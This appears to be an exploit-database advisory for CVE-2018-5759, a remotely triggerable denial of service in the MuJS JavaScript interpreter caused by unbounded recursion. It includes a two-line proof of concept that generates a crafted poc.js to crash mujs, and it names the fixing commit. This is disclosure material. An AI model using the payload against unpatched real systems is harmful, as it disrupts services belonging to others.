Artifex MuJS Denial Of Service

2018.01.29

Credit: Andrea Sindoni

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-5759

CWE: CWE-674

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

The continuous call between the two functions "jsC_cexp" function and "cbinary"
allows attackers to cause a denial of service (application crash) via a
crafted js file

# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=
4d45a96e57fbabf00a7378b337d0ddcace6f38c1)

Please let me know if you need more info.

Andrea Sindoni

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Artifex MuJS Denial Of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.